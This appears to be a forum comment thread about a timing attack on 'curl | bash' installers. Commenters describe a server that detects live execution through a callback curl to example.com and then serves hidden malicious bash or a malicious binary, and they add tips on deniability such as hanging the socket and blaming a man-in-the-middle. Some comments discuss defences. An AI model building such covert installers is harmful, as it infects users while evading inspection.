1. Send your response as transfer-encoding: chunked and tcp_nodelay
2. Send the first command as
curl www.example.com/$unique_id
Then the server waits before sending the next command - if it gets the ping from the script, we know that whatever is executing the script is running the commands as they're sent, and is therefore unlikely to be read by a human before the next command runs. If it doesn't ping within a second or so, proceed with the innocent payload.For extra evil deniability, structure your malicious payload as a substring of a plausibly valid sequence of commands - then simply hang the socket partway through. Future investigation will make it look like a network issue.
# Check network connectivity so we can continue the install
if ! curl --fail www.example.com; then exit; fi
Of course, what actually is happening is that we've just informed the server to now serve our malicious code. bash -c "`echo echo hi`"
note that `echo echo hi` is fully read, and then (and only then) passed to bash.ditto for
echo -c "`curl <your url>`"
The curl command isn't detectable as an evaluation because it's fully spliced into the string, then sent to bash. It's easy to imagine setting up a `curl <url> | sponge | bash` middleman, too.It is impossible in general to know what the downstream user is going to do with the bytes you send. Even bash happens not to cache its input. But technically it could -- it would be entirely valid for bash to read in a buffered mode which waits for EOF before interpreting.
You're of course correct that the general problem is unsolvable - but the goal is to opportunistically infect people who directly paste the "curl example.com/setup | bash" that's helpfully provided in your getting started guide, without serving an obviously malicious payload to someone who could be inspecting it.
I think the real message is that this is a new class of timing attack, and that it should be treated as such. E.g. curl itself needs to be updated to buffer its own output.
I.e., curl is a *nix tool.
You can claim that you were MITM'd and point to the non-infectious cases as evidence that you always send a good payload.
curl www.example.com/downloads/fooprogram/builds/D41D8CD98F00B204E9800998ECF8427E.tgz
If the time between the script being downloaded and that file being requested is large, serve the clean copy, else download the malicious binary.What you're describing there is a package manager. What we don't need is a tool for running any random script from the wider internet.
It's a mess. I really like snaps, but I hesitate for this reason - safer to default to apt on my ubuntu machine.
[edit] by safer I meant 'less likely for me to get confused and so screw up something', not meant as a security comment.
The code starts to send chunked data and polls for a return curl call from the downloaded script. If the script's curl call calls home, the download will chunk out "bad" bash.
What I see happening is the downloaded script does not fully run until fully downloaded.